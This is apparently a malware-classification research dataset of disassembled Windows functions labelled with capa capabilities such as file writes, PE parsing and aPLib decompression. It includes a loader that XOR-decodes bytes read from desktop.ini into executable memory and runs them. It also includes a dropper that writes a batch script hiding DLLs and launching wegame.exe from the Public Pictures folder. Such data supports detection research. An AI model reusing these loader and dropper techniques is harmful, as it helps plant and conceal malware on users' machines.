joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403529
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x408238
cmp edx, dword [eax]
je 0x40354b
add eax, 8
inc ecx
cmp eax, 0x4082c8
jl 0x40353c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x408238]
jne 0x403679
mov eax, dword [0x40ab90]
cmp eax, 1
je 0x403653
test eax, eax
jne 0x40357c
cmp dword [0x408178], 1
je 0x403653
cmp edx, 0xfc
je 0x403679
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4035b3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404fa0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004051d0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4035f6
lea eax, [ebp - 0x1a4]
push eax
call fcn.004051d0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40752c
push edi
call fcn.00405a00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404fa0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404fb0
lea eax, [ebp - 0xa0]
push 0x40750c
push eax
call fcn.00404fb0
push dword [esi + 0x40823c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404fb0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040596f
add esp, 0x2c
pop edi
jmp 0x403679
lea eax, [ebp + 8]
lea esi, [esi + 0x40823c]
push 0
push eax
push dword [esi]
call fcn.004051d0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x427e1e
Capabilities:
Encode data using xor

Disassembly:
test al, 5
add dword [ecx], esp
fstp qword [ebx]
or edi, esp
sub byte [esi], ah
xor dh, cl
jl 0x427e26
rcr dword [esi + 0x53771bc1], 0xcb
inc eax
invalid
Function at 0x407360
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40739e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407396
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4073a0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407386
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407480
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4074af
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4074af
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x991058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x9911a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x99107e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x99106a
add dl, dl
jne 0x991089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9910dc
xor eax, eax
add dl, dl
jne 0x991096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x99117d
add dl, dl
jne 0x9910a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9910b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9910bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9910c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x9910d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x991075
mov eax, 1
add dl, dl
jne 0x9910ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9910f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9910e1
sub eax, ebx
mov ebx, 1
jne 0x991128
mov ecx, 1
add dl, dl
jne 0x99110e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x991119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x991105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x991075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x99113f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x99114a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x991136
cmp eax, 0x7d00
jae 0x99116d
cmp eax, 0x500
jb 0x991168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x991075
cmp eax, 0x7f
ja 0x991170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x991075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x99119e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x991075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x41663a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x65388
push 0x4981a0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x416675
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x416682
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x177588
push 0x4fd528
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4166bd
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x4166ca
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x3bf388
push 0x674ab0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x416705
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x416712
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x88b88
push 0xa33e38
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41674d
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x41675a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x15c788
push 0xabc9c0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x416795
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x4167a2
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x8f8
push str.__a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___a___r_ncls__r_npowershell.exe_C:UsersPublicPictureswegame.exe_r_nattrib_a_s_r_h_C:UsersPublicPicturesABC.bat_r_nattrib_a_s_r_h_C:UsersPublicPictures_adapt_for_imports.dll_r_nattrib_a_s_r_h_C:UsersPublicPictures_beacon_sdk.dll_r_nattrib_a_s_r_h_C:UsersPublicPicturescommon.dll_r_nattrib_a_s_r_h_C:UsersPublicPicturesLua51.dll_r_nattrib_a_s_r_h_C:UsersPublicPictureswegame.exe_r_n_echo_off_r_ntitle_SunloginKeeper_r_ncls_r_n::
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4167dd
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x47bba0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0xc1a590]
jne 0x47bbaa
repz ret
jmp fcn.00480fcf

Function at 0x48b707
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0xc1a590]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004809c8
and dword [ebp - 0x14], 0
cmp dword [0xc1ec24], 0
mov dword [ebp - 0x18], eax
jne 0x48b7ba
push 0x49396c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x48b862
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4907d4
push ebx
call edi
test eax, eax
je 0x48b862
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0xc1ec24], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0xc1ec28], eax
call edi
push eax
call esi
push 0x49392c
push ebx
mov dword [0xc1ec2c], eax
call edi
push eax
call esi
mov dword [0xc1ec34], eax
test eax, eax
je 0x48b7ba
push 0x493914
push ebx
call edi
push eax
call esi
mov dword [0xc1ec30], eax
mov eax, dword [0xc1ec30]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x48b813
cmp dword [0xc1ec34], ecx
je 0x48b813
push eax
call esi
push dword [0xc1ec34]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x48b813
test ebx, ebx
je 0x48b813
call edi
test eax, eax
je 0x48b80a
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x48b80a
test byte [ebp - 8], 1
jne 0x48b813
or dword [ebp + 0x10], 0x200000
jmp 0x48b846
mov eax, dword [0xc1ec28]
cmp eax, dword [ebp - 0x18]
je 0x48b846
push eax
call esi
test eax, eax
je 0x48b846
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x48b846
mov eax, dword [0xc1ec2c]
cmp eax, dword [ebp - 0x18]
je 0x48b846
push eax
call esi
test eax, eax
je 0x48b846
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0xc1ec24]
call esi
test eax, eax
je 0x48b862
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x48b864
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0047bba0
leave
ret
Function at 0xa8a058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xa8a1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xa8a07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa8a06a
add dl, dl
jne 0xa8a089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa8a0dc
xor eax, eax
add dl, dl
jne 0xa8a096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa8a17d
add dl, dl
jne 0xa8a0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa8a0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa8a0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa8a0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xa8a0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xa8a075
mov eax, 1
add dl, dl
jne 0xa8a0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa8a0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa8a0e1
sub eax, ebx
mov ebx, 1
jne 0xa8a128
mov ecx, 1
add dl, dl
jne 0xa8a10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa8a119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa8a105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa8a075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xa8a13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa8a14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa8a136
cmp eax, 0x7d00
jae 0xa8a16d
cmp eax, 0x500
jb 0xa8a168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa8a075
cmp eax, 0x7f
ja 0xa8a170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa8a075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xa8a19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xa8a075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401077
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
mov edi, 0x44fb40
mov ecx, edi
call fcn.004017eb
mov esi, eax
test esi, esi
js 0x401139
push 0x43d420
push dword [ebp + 0xc]
call fcn.0042159a
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x401139
push 0
push dword [ebp + 8]
mov ecx, edi
call fcn.00401840
mov dword [ebp - 8], eax
test eax, eax
jne 0x4010c9
or eax, 0xffffffff
jmp 0x40113c
push 0x8000
call fcn.0041d060
mov dword [ebp - 4], eax
pop ecx
test esi, esi
je 0x401117
jmp 0x4010e0
mov eax, dword [ebp - 4]
mov ecx, 0x8000
cmp esi, ecx
mov edi, ecx
mov ecx, 0x44fb40
cmovl edi, esi
push edi
push eax
push dword [ebp - 8]
call fcn.00401a05
push ebx
push edi
push 1
push dword [ebp - 4]
call fcn.004217e9
add esp, 0x10
cmp eax, edi
jl 0x401112
sub esi, edi
jne 0x4010dd
mov edi, 0x44fb40
push dword [ebp - 8]
mov ecx, edi
call fcn.004017c2
push ebx
call fcn.00421459
push dword [ebp - 4]
call fcn.0041ca14
pop ecx
pop ecx
test esi, esi
jne 0x401139
xor eax, eax
jmp 0x40113c
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40610e
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
xor edx, edx
or ecx, 0xffffffff
cmp dword [ebp + 0xc], edx
jle 0x406139
push esi
mov esi, dword [ebp + 8]
movsx eax, byte [edx + esi]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x43d4c0]
inc edx
cmp edx, dword [ebp + 0xc]
jl 0x40611f
pop esi
not ecx
mov eax, ecx
pop ebp
ret 8

Function at 0x408df6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 0x14]
push dword [ebp + 8]
call fcn.00408eab
mov edi, eax
pop ecx
pop ecx
test edi, edi
jne 0x408e12
or eax, 0xffffffff
jmp 0x408e34
push esi
push edi
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
call fcn.004217e9
push edi
mov esi, eax
call fcn.00421459
add esp, 0x14
call fcn.00425148
mov eax, esi
pop esi
pop edi
pop ebp
ret

Function at 0x408ef0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
je 0x408f1e
cmp dword [ebp + 0xc], 0
je 0x408f1e
cmp dword [ebp + 0x10], 0
jg 0x408f09
xor eax, eax
pop ebp
ret
push dword [ebp + 8]
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
call fcn.004253b4
add esp, 0x10
pop ebp
ret
or eax, 0xffffffff
pop ebp
ret
Function at 0x40e5fd
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2004
call fcn.0041d4f0
push esi
push edi
call fcn.00404cbc
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.0041d15e
lea ecx, [ebp - 4]
push ecx
push eax
call fcn.00408dde
push dword [ebp - 4]
lea eax, [edi + 0x368]
push eax
call fcn.0040a6c2
lea eax, [ebp - 4]
push eax
call fcn.00408deb
add esp, 0x18
lea eax, [ebp - 0x1004]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x20
lea eax, [ebp - 0x2004]
push eax
lea eax, [ebp - 0x1004]
push eax
call fcn.0041cfe7
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x2004]
push eax
call fcn.00408dde
push dword [ebp - 4]
lea esi, [edi + 0x338]
push esi
call fcn.0040a6c2
push 0x5c
push dword [esi]
call fcn.0041cb01
push dword [esi]
lea eax, [edi + 0x384]
push eax
call fcn.0040a6c2
push str.hsptv_
push dword [esi]
call fcn.00421860
lea eax, [ebp - 4]
push eax
call fcn.00408deb
push dword [esi]
lea eax, [edi + 0x388]
push eax
call fcn.0040a6c2
add esp, 0x40
pop edi
pop esi
leave
ret

Function at 0x40f564
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov ecx, dword [ebp + 0x10]
mov eax, ecx
shl eax, 2
push ebx
push esi
mov esi, dword [ebp + 0xc]
not eax
xor ebx, ebx
and eax, 8
or eax, 2
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp byte [esi], bl
je 0x40f5f6
push 0x3c
lea eax, [ebp - 0x44]
push ebx
push eax
call fcn.0041eb70
lea eax, [ebp - 4]
mov dword [ebp - 0x44], 0x3c
push eax
push esi
mov dword [ebp - 0x40], 0xc
mov dword [ebp - 0x3c], ebx
call fcn.00408dde
mov dword [ebp - 0x38], eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call fcn.00408dde
add esp, 0x1c
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x28], 1
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
lea eax, [ebp - 4]
push eax
je 0x40f668
call fcn.00408deb
lea eax, [ebp - 8]
push eax
call fcn.00408deb
pop ecx
pop ecx
jmp 0x40f664
push eax
test cl, 0x10
je 0x40f61c
mov eax, 0x43d43e
push eax
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.00408dde
pop ecx
pop ecx
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x40f653
test cl, 0x20
je 0x40f63e
mov eax, 0x43d43e
push eax
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.00408dde
pop ecx
pop ecx
push eax
push str.print
jmp 0x40f613
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.00408dde
pop ecx
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
lea eax, [ebp - 4]
push eax
call fcn.00408deb
pop ecx
cmp esi, 0x20
jl 0x40f678
pop esi
pop ebx
leave
ret
call fcn.00408deb
lea eax, [ebp - 8]
push eax
call fcn.00408deb
pop ecx
pop ecx
push 0x44c354
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], 0xe
push eax
call fcn.0041ed4c
int3
Function at 0x40f68e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.0041d4f0
mov ecx, dword [ebp + 8]
xor edx, edx
mov eax, ecx
mov byte [ebp - 0x1004], dl
push esi
sub eax, edx
je 0x40f754
sub eax, 1
je 0x40f747
sub eax, 1
je 0x40f733
sub eax, 1
je 0x40f71f
sub eax, 1
je 0x40f70f
sub eax, 1
je 0x40f705
sub eax, 1
je 0x40f6f4
test ecx, 0x10000
je 0x40f7ae
push edx
movzx eax, cx
push eax
lea eax, [ebp - 0x1004]
push eax
push edx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
jmp 0x40f767
mov esi, dword [0x450a18]
add esi, 0x390
jmp 0x40f7a9
mov esi, 0x43d43e
jmp 0x40f7a9
mov eax, dword [0x450a18]
mov esi, dword [eax + 0x368]
jmp 0x40f7a9
push 0x1000
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x40f767
push 0x1000
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x40f767
mov eax, dword [0x450a18]
mov esi, dword [eax + 0x384]
jmp 0x40f7a9
lea eax, [ebp - 0x1004]
push 0x1000
push eax
call fcn.004238f4
pop ecx
pop ecx
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x1004]
push eax
call fcn.00408dde
mov eax, dword [0x450a18]
push dword [ebp + 8]
add eax, 0x338
push eax
call fcn.0040a6c2
lea eax, [ebp + 8]
push eax
call fcn.00408deb
mov eax, dword [0x450a18]
push 0x5c
mov esi, dword [eax + 0x338]
push esi
call fcn.0041cb01
add esp, 0x1c
mov eax, esi
pop esi
leave
ret
push 0x44c354
lea eax, [ebp - 4]
mov dword [ebp - 4], 3
push eax
call fcn.0041ed4c
int3